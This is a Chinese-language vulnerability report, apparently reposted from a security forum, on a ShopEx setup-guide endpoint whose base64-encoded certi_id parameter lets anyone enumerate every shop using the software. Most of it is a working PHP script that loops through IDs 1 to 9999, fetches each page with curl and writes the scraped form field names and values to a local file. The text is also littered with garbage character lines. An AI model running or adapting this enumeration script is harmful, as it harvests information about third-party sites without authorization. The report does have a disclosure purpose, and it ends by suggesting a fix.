ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
! b+ ]+ {/ Y0 B9 wShopEx某接口缺陷,可遍历所有网站
详细说明：
5 Y0 E$ R+ N3 k  \问题出现在shopex 网店使用向导页面

5 v; ^. \  ~3 q6 d( z

5 K9 p( V6 M, n+ k. Jhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
4 b" {2 w) L/ S# V' I
7 Y1 b; T# r# K6 I

我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
  ~( P- S3 |& h% {
, Y/ ~8 P/ J4 h( q; \. w  k$ Z* x" c
( j5 z; X; }$ F: a
<?php

) p: C3 n. A, W" A6 _) k                for ($i=1; $i < 10000; $i++) { //遍历

                        ShowshopExD($i);
" h6 c( K' f& N5 {1 q5 ]1 }6 X  {
  p* A/ Q- ]- e: {% y                }

9 P/ ~9 ~/ t- }$ p4 q2 V! G7 O                function ShowshopExD($cid) {

2 o' f1 r4 _2 N                $url='http://guide.ecos.shopex.cn/step2.php';
, u# A6 Z7 f, @9 B
                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

        $url = $url.'?refer='.$refer;
3 o. ?- _* A# j7 ~
/ R* U: f2 K) ~/ J" N8 t, g        $ch = curl_init($url);

        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
# ^7 g% G1 d; p' g* V  Y2 C- B3 t
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
  d6 E: s( y& q7 J# p1 g
        $result = curl_exec($ch);

2 I5 U0 S- G% T3 q3 g# u        $result = mb_convert_encoding($result, "gb2312", "UTF-8");

: p! V5 }5 G. G9 G0 N1 X! n        if(strpos($result,$refer))
# _# d$ N; N+ m- V& q0 ]
        {

. @4 }5 }% Z: o- E! l                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
$ H! H) J% {1 V/ F- M: E0 i( d9 e/ _6 a
                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
/ s- [) ^; y7 ~/ E
! i2 u- N2 \- i' V. W' J; k                foreach ($value[1] as $key) {
  ]/ E$ \8 `9 p; F& i
! x5 c/ _0 w( p7 m" H# N6 H# g                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
4 @/ p1 t! P! V# H' _
* v+ G6 Q) v; M: y9 m$ A" M4 ~                        echo $res[1][0].':'.$res[3][0]."\r\n";
; H) U- I  _  }% S
                        $col =$res[1][0].':'.$res[3][0]."\r\n";

                        fwrite($fp, $col, strlen($col));

8 d5 J! e/ _% J7 m6 V                }

                echo '--------------------------------'."\r\n";
' l3 J5 @$ S4 u( |9 N8 N
                fclose($fp);

        }
; k- ^; M# p% f# F
; v3 N! T' r1 |! F" h8 P# |        flush();

        curl_close($ch);

                }
$ `* H" D0 h0 p& {$ o, X
' X# R1 L/ G  o/ Q* y?>
! W+ }, B' f& e( h2 \5 G+ x漏洞证明：
, P+ W% M* N! @6 n: z- Ohttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
refer换成其他加密方式